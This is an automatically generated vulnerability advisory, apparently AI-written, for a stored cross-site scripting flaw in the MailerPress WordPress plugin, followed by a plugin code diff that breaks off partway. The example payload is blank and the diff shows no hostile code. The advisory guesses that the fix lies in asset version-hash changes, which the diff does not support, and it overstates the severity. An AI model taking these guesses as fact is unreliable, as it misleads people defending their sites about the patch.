Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 9, 2026

CVE-2026-8599: MailerPress <= 2.0.4 Authenticated (Author+) Stored Cross-Site Scripting via Campaign HTML Content Field PoC, Patch Analysis & Rule

CVE ID CVE-2026-8599
Plugin mailerpress
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.0.4
Patched Version 2.0.5
Disclosed June 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8599: This vulnerability enables authenticated users with Author-level access or higher to inject arbitrary JavaScript into the WordPress admin dashboard via the MailerPress campaign HTML content field. The issue is a classic Stored Cross-Site Scripting (XSS) flaw with a CVSS score of 6.4.

The root cause lies in the MailerPress plugin’s handling of the campaign HTML content field. When an Author-level user creates or edits a campaign, the plugin saves the HTML content without sufficient input sanitization and output escaping. The vulnerable code path involves the campaign editor, likely within `mailerpress/src/Actions/ActionScheduler/Processors/AutomatedCampaign.php` or related campaign-saving endpoints. The diff does not show specific sanitization changes for the HTML content field itself. Instead, the patched version (2.0.5) introduces multiple improvements to the Action Scheduler and import processing, suggesting the XSS was addressed in compiled JavaScript/CSS assets (the version hashes change in `mail-editor.asset.php` and `mail-editor.asset.php`). The vulnerability allows arbitrary script execution because the plugin does not apply `wp_kses()` or similar escaping to the campaign HTML before rendering it in the admin preview.

An attacker, authenticated as an Author, crafts a malicious campaign. They inject a JavaScript payload into the HTML content field. For example, they might use `` inside the campaign content HTML. The plugin saves this unsanitized HTML to the database. When any user with access to the admin campaign preview views the campaign, the injected script executes. The attacker can target the admin dashboard preview endpoint, bypassing the Content-Security-Policy that protects the public preview endpoint. The attack requires only Author-level access, making it a high-risk vector for privilege escalation or account takeover.

The patch primarily updates the compiled JavaScript and CSS files for the mail editor (`mail-editor.asset.php`), changing the version hashes. This indicates the developers modified the client-side editor to sanitize or escape the HTML content before submission. The server-side code changes in the diff focus on the Action Scheduler and import processors. They do not directly alter the campaign content saving logic. The fix likely applies output escaping on the JavaScript side, preventing the stored XSS from firing in the admin preview. Alternatively, the patch may have added server-side validation for the HTML field using `wp_kses_post()` or similar functions, though this is not visible in the provided diff.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any WordPress admin who views the campaign in the admin panel. This can lead to session hijacking, privilege escalation (creating new admin users), data theft (accessing sensitive settings and user data), and full site compromise. The impact is critical for site administrators because the attacker can execute actions under the admin’s session without their knowledge.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mailerpress/build/dist/css/mail-editor.asset.php
+++ b/mailerpress/build/dist/css/mail-editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '5faf5a7d7a7e32ac5bf9');
+<?php return array('dependencies' => array(), 'version' => 'd8fbe56aa5f8954064ab');
--- a/mailerpress/build/dist/js/mail-editor.asset.php
+++ b/mailerpress/build/dist/js/mail-editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-url'), 'version' => 'c20ca911f189ac7464ff');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-url'), 'version' => '5fc86e750c026e650cc0');
--- a/mailerpress/mailerpress.php
+++ b/mailerpress/mailerpress.php
@@ -6,7 +6,7 @@
  * Plugin Name: MailerPress
  * Plugin URI: https://mailerpress.com/
  * Description: Create beautiful emails simply inside WordPress connected to your favorite Email Service Provider
- * Version: 2.0.4
+ * Version: 2.0.5
  * Author: Team MailerPress
  * License: GPLv3 or later
  * Text Domain: mailerpress
@@ -43,7 +43,7 @@
 use MailerPressServicesDeactivatePro;

 // Define constants
-define('MAILERPRESS_VERSION', '2.0.4');
+define('MAILERPRESS_VERSION', '2.0.5');
 define('MAILERPRESS_PLUGIN_DIR_PATH', plugin_dir_path(__FILE__));
 define('MAILERPRESS_PLUGIN_DIR_URL', plugin_dir_url(__FILE__));
 define('MAILERPRESS_ASSETS_DIR', MAILERPRESS_PLUGIN_DIR_URL . 'assets');
--- a/mailerpress/src/Actions/ActionScheduler/AsInit.php
+++ b/mailerpress/src/Actions/ActionScheduler/AsInit.php
@@ -15,6 +15,10 @@

 final class AsInit
 {
+    private const SCHEDULE_CHECK_PREFIX = 'mailerpress_as_schedule_check_';
+    private const SCHEDULE_CHECK_TTL = 5 * MINUTE_IN_SECONDS;
+    private const BOUNCE_CHECK_TTL = MINUTE_IN_SECONDS;
+
     #[Action('init', priority: 20)]
     public function initCron(): void
     {
@@ -25,7 +29,12 @@

         CountDown::cleanupExpired();

-        if (function_exists('as_has_scheduled_action') && function_exists('as_schedule_recurring_action')) {
+        if (
+            $this->shouldRunScheduleCheck('cleaner')
+            && function_exists('as_has_scheduled_action')
+            && function_exists('as_get_scheduled_actions')
+            && function_exists('as_schedule_recurring_action')
+        ) {
             $existing = as_get_scheduled_actions([
                 'hook'   => 'mailerpress_as_clean',
                 'status' => ActionScheduler_Store::STATUS_PENDING,
@@ -56,7 +65,11 @@
         }

         // Gestion simple de l'action de check bounce (toutes les 12h)
-        if (function_exists('as_has_scheduled_action') && function_exists('as_schedule_recurring_action')) {
+        if (
+            $this->shouldRunScheduleCheck('bounce', self::BOUNCE_CHECK_TTL)
+            && function_exists('as_has_scheduled_action')
+            && function_exists('as_schedule_recurring_action')
+        ) {
             $bounceConfig = MailerPressServicesBounceParser::getValidatedConfig();
             $hasScheduledAction = as_has_scheduled_action('mailerpress_check_bounces');

@@ -79,7 +92,11 @@
         }

         // Refresh audience counts for scheduled campaigns (every hour)
-        if (function_exists('as_has_scheduled_action') && function_exists('as_get_scheduled_actions')) {
+        if (
+            $this->shouldRunScheduleCheck('refresh_counts')
+            && function_exists('as_has_scheduled_action')
+            && function_exists('as_get_scheduled_actions')
+        ) {
             $refreshActions = as_get_scheduled_actions([
                 'hook'   => 'mailerpress_refresh_scheduled_counts',
                 'status' => ActionScheduler_Store::STATUS_PENDING,
@@ -109,7 +126,12 @@
         }

         // Workflow cleanup cron (daily)
-        if (function_exists('as_has_scheduled_action') && !as_has_scheduled_action('mailerpress_workflow_cleanup')) {
+        if (
+            $this->shouldRunScheduleCheck('workflow_cleanup')
+            && function_exists('as_has_scheduled_action')
+            && function_exists('as_schedule_recurring_action')
+            && !as_has_scheduled_action('mailerpress_workflow_cleanup')
+        ) {
             as_schedule_recurring_action(
                 time(),
                 DAY_IN_SECONDS,
@@ -125,6 +147,19 @@
         });
     }

+    private function shouldRunScheduleCheck(string $key, int $ttl = self::SCHEDULE_CHECK_TTL): bool
+    {
+        $transientKey = self::SCHEDULE_CHECK_PREFIX . $key;
+
+        if (get_transient($transientKey)) {
+            return false;
+        }
+
+        set_transient($transientKey, 1, $ttl);
+
+        return true;
+    }
+
     #[Filter('action_scheduler_queue_runner_concurrent_batches')]
     public function mailerpress_increase_concurrent_batches($concurrent_batches)
     {
--- a/mailerpress/src/Actions/ActionScheduler/Processors/AutomatedCampaign.php
+++ b/mailerpress/src/Actions/ActionScheduler/Processors/AutomatedCampaign.php
@@ -50,34 +50,40 @@
             }
         }

-        if ($campaign->status === 'active') {
-            // Trigger batch for active campaigns only
-            $this->mailerpress_trigger_batch_for_automated_campaign(
-                $sendType,
-                $post,
-                $conf,
-                $scheduledAt,
-                $recipientTargeting,
-                $lists,
-                $tags,
-                $segment,
-            );
+        if ($campaign->status !== 'active') {
+            if (function_exists('mailerpress_cancel_scheduled_automated_campaign_actions')) {
+                mailerpress_cancel_scheduled_automated_campaign_actions((int) $post);
+            }

-            // Update last_run immediately after triggering batch
-            $automateSettings['last_run'] = current_time('mysql');
-            $config['automateSettings'] = $automateSettings;
+            return;
+        }

-            $wpdb->update(
-                $wpdb->prefix . 'mailerpress_campaigns',
-                ['config' => wp_json_encode($config), 'status' => 'active'],
-                ['campaign_id' => $post]
-            );
+        // Trigger batch for active campaigns only.
+        $this->mailerpress_trigger_batch_for_automated_campaign(
+            $sendType,
+            $post,
+            $conf,
+            $scheduledAt,
+            $recipientTargeting,
+            $lists,
+            $tags,
+            $segment,
+        );

-            // Use the updated last_run for next run calculation
-            $lastRun = new DateTime($automateSettings['last_run'], wp_timezone());
-        }
+        // Update last_run immediately after triggering batch.
+        $automateSettings['last_run'] = current_time('mysql');
+        $config['automateSettings'] = $automateSettings;
+
+        $wpdb->update(
+            $wpdb->prefix . 'mailerpress_campaigns',
+            ['config' => wp_json_encode($config), 'status' => 'active'],
+            ['campaign_id' => $post]
+        );
+
+        // Use the updated last_run for next run calculation.
+        $lastRun = new DateTime($automateSettings['last_run'], wp_timezone());

-        // Calculate next run (even if campaign is not active, to allow reactivation)
+        // Calculate next run for active campaigns only.
         $nextRun = mailerpress_calculate_next_run($automateSettings, $lastRun);

         // Schedule next run only if it is in the future
@@ -91,6 +97,10 @@
                 ['campaign_id' => $post]
             );

+            if (function_exists('mailerpress_cancel_scheduled_automated_campaign_actions')) {
+                mailerpress_cancel_scheduled_automated_campaign_actions((int) $post);
+            }
+
             as_schedule_single_action(
                 $nextRun->getTimestamp(),
                 'mailerpress_run_campaign_once',
@@ -137,4 +147,4 @@
         );
     }

-}
 No newline at end of file
+}
--- a/mailerpress/src/Actions/ActionScheduler/Processors/ChunkWorker.php
+++ b/mailerpress/src/Actions/ActionScheduler/Processors/ChunkWorker.php
@@ -20,6 +20,11 @@
  */
 class ChunkWorker
 {
+    private const PENDING_CHUNKS_OPTION = 'mailerpress_has_pending_chunks';
+    private const WORKER_CLEANUP_CHECK_TRANSIENT = 'mailerpress_pending_chunks_cleanup_check';
+    private const WORKER_STATE_CHECK_TRANSIENT = 'mailerpress_pending_chunks_state_check';
+    private const WORKER_STATE_CHECK_TTL = 60;
+
     /**
      * Nombre maximum de chunks à traiter par run
      * = 1 pour respecter le rate limiting
@@ -54,6 +59,7 @@

         if (empty($pending_chunks)) {
             if (!self::hasPendingChunks()) {
+                self::markNoPendingChunks();
                 self::unregisterRecurringWorker();
             }
             return;
@@ -83,6 +89,7 @@
         }

         if (!self::hasPendingChunks()) {
+            self::markNoPendingChunks();
             self::unregisterRecurringWorker();
         }
     }
@@ -125,12 +132,31 @@
             return;
         }

+        $state = get_option(self::PENDING_CHUNKS_OPTION, null);
+
+        if ($state === 'no') {
+            if (self::shouldRunWorkerCheck(self::WORKER_CLEANUP_CHECK_TRANSIENT)) {
+                self::unregisterRecurringWorkerIfScheduled();
+            }
+            return;
+        }
+
+        if ($state === 'yes' && self::shouldRunWorkerCheck(self::WORKER_STATE_CHECK_TRANSIENT)) {
+            if (!self::hasPendingChunks()) {
+                self::markNoPendingChunks();
+                self::unregisterRecurringWorker();
+                return;
+            }
+        }
+
+        if ($state === null && !self::shouldHaveWorker()) {
+            self::unregisterRecurringWorkerIfScheduled();
+            return;
+        }
+
         $isScheduled = (bool) as_next_scheduled_action('mailerpress_process_pending_chunks', [], 'mailerpress');
-        $hasPending = self::hasPendingChunks();

-        if ($isScheduled && !$hasPending) {
-            self::unregisterRecurringWorker();
-        } elseif (!$isScheduled && $hasPending) {
+        if (!$isScheduled) {
             self::ensureWorkerRunning();
         }
     }
@@ -148,6 +174,13 @@
         }
     }

+    private static function unregisterRecurringWorkerIfScheduled(): void
+    {
+        if ((bool) as_next_scheduled_action('mailerpress_process_pending_chunks', [], 'mailerpress')) {
+            self::unregisterRecurringWorker();
+        }
+    }
+
     public static function hasPendingChunks(): bool
     {
         global $wpdb;
@@ -158,12 +191,59 @@
         ) > 0;
     }

+    public static function markPendingChunks(): void
+    {
+        update_option(self::PENDING_CHUNKS_OPTION, 'yes', false);
+        delete_transient(self::WORKER_CLEANUP_CHECK_TRANSIENT);
+    }
+
+    public static function markNoPendingChunks(): void
+    {
+        update_option(self::PENDING_CHUNKS_OPTION, 'no', false);
+        delete_transient(self::WORKER_CLEANUP_CHECK_TRANSIENT);
+        delete_transient(self::WORKER_STATE_CHECK_TRANSIENT);
+    }
+
+    public static function shouldHaveWorker(): bool
+    {
+        $state = get_option(self::PENDING_CHUNKS_OPTION, null);
+
+        if ($state === 'yes') {
+            return true;
+        }
+
+        if ($state === 'no') {
+            return false;
+        }
+
+        if (self::hasPendingChunks()) {
+            self::markPendingChunks();
+            return true;
+        }
+
+        self::markNoPendingChunks();
+        return false;
+    }
+
+    private static function shouldRunWorkerCheck(string $transientKey): bool
+    {
+        if (get_transient($transientKey)) {
+            return false;
+        }
+
+        set_transient($transientKey, 1, self::WORKER_STATE_CHECK_TTL);
+
+        return true;
+    }
+
     public static function ensureWorkerRunning(): void
     {
         if (!function_exists('as_next_scheduled_action')) {
             return;
         }

+        self::markPendingChunks();
+
         if (!as_next_scheduled_action('mailerpress_process_pending_chunks', [], 'mailerpress')) {
             as_schedule_recurring_action(
                 time() + 60,
--- a/mailerpress/src/Actions/ActionScheduler/Processors/ContactEmailChunk.php
+++ b/mailerpress/src/Actions/ActionScheduler/Processors/ContactEmailChunk.php
@@ -483,6 +483,10 @@
             ['%d']
         );

+        if (!ChunkWorker::hasPendingChunks()) {
+            ChunkWorker::markNoPendingChunks();
+            ChunkWorker::unregisterRecurringWorker();
+        }

         // Optionally mark batch as failed if too many chunks failed
         // (This can be implemented later in Phase 3)
--- a/mailerpress/src/Actions/ActionScheduler/Processors/ProcessChunkImportContact.php
+++ b/mailerpress/src/Actions/ActionScheduler/Processors/ProcessChunkImportContact.php
@@ -9,13 +9,16 @@
 use MailerPressCoreAttributesAction;
 use MailerPressCoreEnumsTables;
 use MailerPressModelsCustomFields;
+use MailerPressServicesLogger;

 class ProcessChunkImportContact
 {
     #[Action('process_import_chunk', priority: 10, acceptedArgs: 2)]
-    public function processImportChunk($chunk_id, $forceUpdate): void
+    public function processImportChunk($chunk_id, $forceUpdate = false): void
     {
         global $wpdb;
+        $chunk_id = (int) $chunk_id;
+        $forceUpdate = true === $forceUpdate || '1' === $forceUpdate || 1 === $forceUpdate;
         $importChunks = Tables::get(Tables::MAILERPRESS_IMPORT_CHUNKS);
         $contactTable = Tables::get(Tables::MAILERPRESS_CONTACT);
         $contactBatch = Tables::get(Tables::MAILERPRESS_CONTACT_BATCHES);
@@ -31,6 +34,10 @@

             if ($claimed === 0 || $claimed === false) {
                 // Chunk already claimed by another process or doesn't exist
+                $this->logImportEvent('debug', 'Import chunk was not claimed for processing.', [
+                    'chunk_id' => $chunk_id,
+                    'claimed_result' => $claimed,
+                ]);
                 return;
             }

@@ -42,9 +49,19 @@

             if (!$chunk) {
                 // Chunk doesn't exist
+                $this->logImportEvent('warning', 'Import chunk was claimed but could not be loaded.', [
+                    'chunk_id' => $chunk_id,
+                ]);
                 return;
             }

+            $this->logImportEvent('info', 'Import chunk processing started.', [
+                'batch_id' => (int) $chunk->batch_id,
+                'chunk_id' => $chunk_id,
+                'force_update' => $forceUpdate,
+                'memory_usage' => memory_get_usage(),
+            ]);
+
             $batch = $wpdb->get_row(
                 $wpdb->prepare("SELECT * FROM {$contactBatch} WHERE batch_id = %d", $chunk->batch_id),
                 ARRAY_A
@@ -52,6 +69,10 @@

             if (!$batch) {
                 // Mark chunk as failed with error message
+                $this->logImportEvent('error', 'Import chunk failed because the parent batch was not found.', [
+                    'batch_id' => (int) $chunk->batch_id,
+                    'chunk_id' => $chunk_id,
+                ]);
                 $wpdb->update($importChunks, [
                     'processed' => 3,
                     'error_message' => 'Batch not found'
@@ -61,16 +82,43 @@
             }

             $contactTags = json_decode($batch['tags'], true);
+            $tags_json_error = json_last_error_msg();
             $contactLists = json_decode($batch['lists'], true);
+            $lists_json_error = json_last_error_msg();
             $contact_status = $batch['subscription_status'];
             $contacts = json_decode($chunk->chunk_data, true);
+            $contacts_json_error = json_last_error_msg();
+
+            if (!is_array($contactTags)) {
+                $this->logImportEvent('warning', 'Import batch tags payload is invalid; continuing without tags.', [
+                    'batch_id' => (int) $chunk->batch_id,
+                    'chunk_id' => $chunk_id,
+                    'json_error' => $tags_json_error,
+                ]);
+                $contactTags = [];
+            }
+
+            if (!is_array($contactLists)) {
+                $this->logImportEvent('warning', 'Import batch lists payload is invalid; continuing without lists.', [
+                    'batch_id' => (int) $chunk->batch_id,
+                    'chunk_id' => $chunk_id,
+                    'json_error' => $lists_json_error,
+                ]);
+                $contactLists = [];
+            }

             // Validate contacts array
             if (!is_array($contacts)) {
                 // Mark chunk as failed - invalid data
+                $this->logImportEvent('error', 'Import chunk contains invalid contacts data.', [
+                    'batch_id' => (int) $chunk->batch_id,
+                    'chunk_id' => $chunk_id,
+                    'json_error' => $contacts_json_error,
+                    'payload_size' => is_string($chunk->chunk_data) ? strlen($chunk->chunk_data) : 0,
+                ]);
                 $wpdb->update($importChunks, [
                     'processed' => 3,
-                    'error_message' => 'Invalid contacts data - not an array'
+                    'error_message' => $this->truncateLogMessage('Invalid contacts data: ' . $contacts_json_error)
                 ], ['id' => $chunk_id]);
                 $this->scheduleNextChunk($chunk->batch_id);
                 return;
@@ -79,6 +127,12 @@
             // Count total contacts in this chunk for tracking
             $total_contacts_in_chunk = count($contacts);
             $processed_contacts = 0;
+            $created_contacts = 0;
+            $updated_contacts = 0;
+            $existing_contacts = 0;
+            $invalid_contacts = 0;
+            $failed_contacts = 0;
+            $chunk_contact_offset = $this->getChunkContactOffset($importChunks, (int) $chunk->batch_id, $chunk_id);

             // Memory management: Track initial memory and set threshold
             $initial_memory = memory_get_usage();
@@ -96,18 +150,37 @@

                     // If approaching memory limit, stop processing and reschedule remainder
                     if ($current_memory > $memory_threshold) {
+                        $this->logImportEvent('warning', 'Import chunk is being rescheduled because memory usage is close to the PHP limit.', [
+                            'batch_id' => (int) $chunk->batch_id,
+                            'chunk_id' => $chunk_id,
+                            'processed_contacts' => $processed_contacts,
+                            'chunk_row' => $index + 1,
+                            'estimated_csv_line' => $chunk_contact_offset + $index + 2,
+                            'current_memory' => $current_memory,
+                            'memory_limit' => $memory_limit,
+                        ]);
+
                         // Save progress and reschedule chunk with remaining contacts
                         $this->reschedulePartialChunk($chunk_id, $chunk->batch_id, $contacts, $index, $forceUpdate);

                         // Update processed count for contacts we did complete
                         if ($processed_contacts > 0) {
-                            $wpdb->query(
+                            $count_updated = $wpdb->query(
                                 $wpdb->prepare(
                                     "UPDATE {$contactBatch} SET processed_count = processed_count + %d WHERE batch_id = %d",
                                     $processed_contacts,
                                     $chunk->batch_id
                                 )
                             );
+
+                            if (false === $count_updated) {
+                                $this->logImportEvent('error', 'Failed to update import batch processed count before rescheduling.', [
+                                    'batch_id' => (int) $chunk->batch_id,
+                                    'chunk_id' => $chunk_id,
+                                    'processed_contacts' => $processed_contacts,
+                                    'db_error' => $wpdb->last_error,
+                                ]);
+                            }
                         }

                         return;
@@ -118,13 +191,39 @@
                         wp_cache_flush();
                     }
                 }
+
+                if (!is_array($contact)) {
+                    $invalid_contacts++;
+                    $processed_contacts++;
+                    $this->logImportEvent('warning', 'Skipping malformed import row because it is not an object.', [
+                        'batch_id' => (int) $chunk->batch_id,
+                        'chunk_id' => $chunk_id,
+                        'chunk_row' => $index + 1,
+                        'estimated_csv_line' => $chunk_contact_offset + $index + 2,
+                        'value_type' => gettype($contact),
+                    ]);
+                    continue;
+                }
+
+                $email = isset($contact['email']) && is_scalar($contact['email'])
+                    ? sanitize_email(trim((string) $contact['email'], " tnrx0B"'"))
+                    : '';
+
                 // Validate email before processing
-                if (empty($contact['email']) || !is_email($contact['email'])) {
+                if (empty($email) || !is_email($email)) {
                     // Skip invalid emails but still count them as processed
+                    $invalid_contacts++;
                     $processed_contacts++;
+                    $this->logImportEvent('warning', 'Skipping import row because the email is missing or invalid.', $this->getRowLogContext($chunk, $index, $contact, $chunk_contact_offset, [
+                        'email_value' => isset($contact['email']) && is_scalar($contact['email'])
+                            ? $this->redactValue((string) $contact['email'])
+                            : null,
+                    ]));
                     continue;
                 }

+                $contact['email'] = $email;
+
                 $contact_id = $wpdb->get_var(
                     $wpdb->prepare(
                         "SELECT contact_id FROM {$contactTable} WHERE email = %s LIMIT 1",
@@ -163,21 +262,54 @@

                     if (false !== $result) {
                         $contactId = $wpdb->insert_id;
+                        $created_contacts++;

                         // Insert tags
                         foreach ($contactTags as $tag) {
-                            $wpdb->insert(Tables::get(Tables::CONTACT_TAGS), [
+                            if (!is_array($tag) || empty($tag['id'])) {
+                                $this->logImportEvent('warning', 'Skipping invalid tag relation during contact import.', $this->getRowLogContext($chunk, $index, $contact, $chunk_contact_offset, [
+                                    'contact_id' => (int) $contactId,
+                                    'tag' => $tag,
+                                ]));
+                                continue;
+                            }
+
+                            $tag_result = $wpdb->insert(Tables::get(Tables::CONTACT_TAGS), [
                                 'contact_id' => $contactId,
                                 'tag_id' => $tag['id'],
                             ]);
+
+                            if (false === $tag_result) {
+                                $this->logImportEvent('error', 'Failed to attach tag during contact import.', $this->getRowLogContext($chunk, $index, $contact, $chunk_contact_offset, [
+                                    'contact_id' => (int) $contactId,
+                                    'tag_id' => (int) $tag['id'],
+                                    'db_error' => $wpdb->last_error,
+                                ]));
+                            }
                         }

                         // Insert lists
                         foreach ($contactLists as $list) {
-                            $wpdb->insert(Tables::get(Tables::MAILERPRESS_CONTACT_LIST), [
+                            if (!is_array($list) || empty($list['id'])) {
+                                $this->logImportEvent('warning', 'Skipping invalid list relation during contact import.', $this->getRowLogContext($chunk, $index, $contact, $chunk_contact_offset, [
+                                    'contact_id' => (int) $contactId,
+                                    'list' => $list,
+                                ]));
+                                continue;
+                            }
+
+                            $list_result = $wpdb->insert(Tables::get(Tables::MAILERPRESS_CONTACT_LIST), [
                                 'contact_id' => $contactId,
                                 'list_id' => $list['id'],
                             ]);
+
+                            if (false === $list_result) {
+                                $this->logImportEvent('error', 'Failed to attach list during contact import.', $this->getRowLogContext($chunk, $index, $contact, $chunk_contact_offset, [
+                                    'contact_id' => (int) $contactId,
+                                    'list_id' => (int) $list['id'],
+                                    'db_error' => $wpdb->last_error,
+                                ]));
+                            }
                         }

                         // Insert custom fields - skip standard fields that shouldn't be in custom_fields
@@ -202,13 +334,21 @@
                                     ? (string) $sanitized_value
                                     : sanitize_text_field((string) $sanitized_value);

-                                $wpdb->insert(Tables::get(Tables::MAILERPRESS_CONTACT_CUSTOM_FIELDS), [
+                                $custom_field_result = $wpdb->insert(Tables::get(Tables::MAILERPRESS_CONTACT_CUSTOM_FIELDS), [
                                     'contact_id' => $contactId,
                                     'field_key' => sanitize_text_field($field_key),
                                     'field_value' => $db_value,
                                 ]);

-                                // Déclencher l'action pour notifier que le champ a été ajouté
+                                if (false === $custom_field_result) {
+                                    $this->logImportEvent('error', 'Failed to insert custom field during contact import.', $this->getRowLogContext($chunk, $index, $contact, $chunk_contact_offset, [
+                                        'contact_id' => (int) $contactId,
+                                        'field_key' => sanitize_text_field($field_key),
+                                        'db_error' => $wpdb->last_error,
+                                    ]));
+                                    continue;
+                                }
+
                                 do_action('mailerpress_contact_custom_field_added', $contactId, sanitize_text_field($field_key), $sanitized_value);
                             }
                         }
@@ -216,11 +356,16 @@
                         $processed_contacts++;
                     } else {
                         // Insert failed, but still count as processed (attempted)
+                        $failed_contacts++;
                         $processed_contacts++;
+                        $this->logImportEvent('error', 'Failed to insert contact during import.', $this->getRowLogContext($chunk, $index, $contact, $chunk_contact_offset, [
+                            'db_error' => $wpdb->last_error,
+                        ]));
                     }
                 } else {
                     // Update existing contact
                     // Always count existing contacts as processed, even if not updated
+                    $existing_contacts++;
                     $processed_contacts++;

                     if (true === $forceUpdate || '1' === $forceUpdate) {
@@ -249,6 +394,7 @@
                         );

                         if (false !== $result) {
+                            $updated_contacts++;
                             // Insert custom fields for existing contact (update if exists)
                             if (!empty($contact['custom_fields']) && is_array($contact['custom_fields'])) {
                                 $standardFields = ['email', 'first_name', 'last_name', 'created_at', 'updated_at'];
@@ -287,13 +433,13 @@
                                         : sanitize_text_field((string) $sanitized_value);

                                     if ($existing) {
-                                        $wpdb->update(
+                                        $custom_field_result = $wpdb->update(
                                             Tables::get(Tables::MAILERPRESS_CONTACT_CUSTOM_FIELDS),
                                             ['field_value' => $db_value],
                                             ['field_id' => $existing]
                                         );
                                     } else {
-                                        $wpdb->insert(
+                                        $custom_field_result = $wpdb->insert(
                                             Tables::get(Tables::MAILERPRESS_CONTACT_CUSTOM_FIELDS),
                                             [
                                                 'contact_id' => $contact_id,
@@ -302,8 +448,22 @@
                                             ]
                                         );
                                     }
+
+                                    if (false === $custom_field_result) {
+                                        $this->logImportEvent('error', 'Failed to save custom field for existing contact during import.', $this->getRowLogContext($chunk, $index, $contact, $chunk_contact_offset, [
+                                            'contact_id' => (int) $contact_id,
+                                            'field_key' => sanitize_text_field($field_key),
+                                            'db_error' => $wpdb->last_error,
+                                        ]));
+                                    }
                                 }
                             }
+                        } else {
+                            $failed_contacts++;
+                            $this->logImportEvent('error', 'Failed to update existing contact during import.', $this->getRowLogContext($chunk, $index, $contact, $chunk_contact_offset, [
+                                'contact_id' => (int) $contact_id,
+                                'db_error' => $wpdb->last_error,
+                            ]));
                         }
                     }
                 }
@@ -312,24 +472,59 @@
             // Update processed_count once for all contacts in this chunk
             // This ensures accurate counting even if some contacts fail to process
             if ($processed_contacts > 0) {
-                $wpdb->query(
+                $count_updated = $wpdb->query(
                     $wpdb->prepare(
                         "UPDATE {$contactBatch} SET processed_count = processed_count + %d WHERE batch_id = %d",
                         $processed_contacts,
                         $chunk->batch_id
                     )
                 );
+
+                if (false === $count_updated) {
+                    $this->logImportEvent('error', 'Failed to update import batch processed count.', [
+                        'batch_id' => (int) $chunk->batch_id,
+                        'chunk_id' => $chunk_id,
+                        'processed_contacts' => $processed_contacts,
+                        'db_error' => $wpdb->last_error,
+                    ]);
+                }
             }

             // Clear any remaining cached data before marking complete
             wp_cache_flush();

             // Mark the chunk as processed successfully
-            $wpdb->update($importChunks, [
+            $chunk_updated = $wpdb->update($importChunks, [
                 'processed' => 1,
                 'processing_completed_at' => current_time('mysql')
             ], ['id' => $chunk_id]);

+            if (false === $chunk_updated) {
+                $this->logImportEvent('error', 'Failed to mark import chunk as completed.', [
+                    'batch_id' => (int) $chunk->batch_id,
+                    'chunk_id' => $chunk_id,
+                    'db_error' => $wpdb->last_error,
+                ]);
+            }
+
+            $this->logImportEvent(
+                ($invalid_contacts > 0 || $failed_contacts > 0) ? 'warning' : 'info',
+                'Import chunk processing completed.',
+                [
+                    'batch_id' => (int) $chunk->batch_id,
+                    'chunk_id' => $chunk_id,
+                    'total_contacts_in_chunk' => $total_contacts_in_chunk,
+                    'processed_contacts' => $processed_contacts,
+                    'created_contacts' => $created_contacts,
+                    'existing_contacts' => $existing_contacts,
+                    'updated_contacts' => $updated_contacts,
+                    'invalid_contacts' => $invalid_contacts,
+                    'failed_contacts' => $failed_contacts,
+                    'memory_usage' => memory_get_usage(),
+                    'peak_memory_usage' => memory_get_peak_usage(),
+                ]
+            );
+
             // Schedule next chunks for processing (parallel approach)
             $this->scheduleNextChunk($chunk->batch_id);

@@ -373,8 +568,13 @@
                 // Mark batch as completed (status = 'done')
                 // This removes it from the pending imports list
                 $wpdb->update($contactBatch, ['status' => 'done'], ['batch_id' => $chunk->batch_id]);
+                $this->logImportEvent('info', 'Import batch completed.', [
+                    'batch_id' => (int) $chunk->batch_id,
+                    'total_contacts' => isset($batch_info['count']) ? (int) $batch_info['count'] : null,
+                    'processed_contacts' => isset($batch_info['processed_count']) ? (int) $batch_info['processed_count'] : null,
+                ]);
             }
-        } catch (Exception $e) {
+        } catch (Throwable $e) {
             // Get current retry count
             $chunk_info = $wpdb->get_row($wpdb->prepare(
                 "SELECT retry_count, batch_id FROM {$importChunks} WHERE id = %d",
@@ -382,6 +582,15 @@
             ));

             $retry_count = isset($chunk_info->retry_count) ? (int)$chunk_info->retry_count : 0;
+            $this->logImportEvent('error', 'Import chunk processing threw an exception.', [
+                'batch_id' => $chunk_info && isset($chunk_info->batch_id) ? (int) $chunk_info->batch_id : null,
+                'chunk_id' => $chunk_id,
+                'retry_count' => $retry_count,
+                'exception_class' => get_class($e),
+                'exception_message' => $e->getMessage(),
+                'exception_file' => $e->getFile(),
+                'exception_line' => $e->getLine(),
+            ]);

             // Maximum retries - filterable for reliability tuning
             $max_retries = apply_filters('mailerpress_import_max_retries', 3);
@@ -392,11 +601,17 @@
                 $wpdb->update($importChunks, [
                     'processed' => 0,
                     'retry_count' => $retry_count + 1,
-                    'error_message' => substr($e->getMessage(), 0, 255)
+                    'error_message' => $this->truncateLogMessage(get_class($e) . ': ' . $e->getMessage())
                 ], ['id' => $chunk_id]);

                 // Schedule retry with exponential backoff (1min, 2min, 4min)
                 $delay = pow(2, $retry_count) * 60;
+                $this->logImportEvent('warning', 'Import chunk scheduled for retry.', [
+                    'batch_id' => $chunk_info && isset($chunk_info->batch_id) ? (int) $chunk_info->batch_id : null,
+                    'chunk_id' => $chunk_id,
+                    'next_retry_count' => $retry_count + 1,
+                    'delay_seconds' => $delay,
+                ]);
                 if (function_exists('as_schedule_single_action')) {
                     as_schedule_single_action(
                         time() + $delay,
@@ -409,8 +624,14 @@
                 // Max retries reached, mark as permanently failed
                 $wpdb->update($importChunks, [
                     'processed' => 3,
-                    'error_message' => 'Max retries reached: ' . substr($e->getMessage(), 0, 200)
+                    'error_message' => $this->truncateLogMessage('Max retries reached: ' . get_class($e) . ': ' . $e->getMessage())
                 ], ['id' => $chunk_id]);
+                $this->logImportEvent('error', 'Import chunk permanently failed after reaching the retry limit.', [
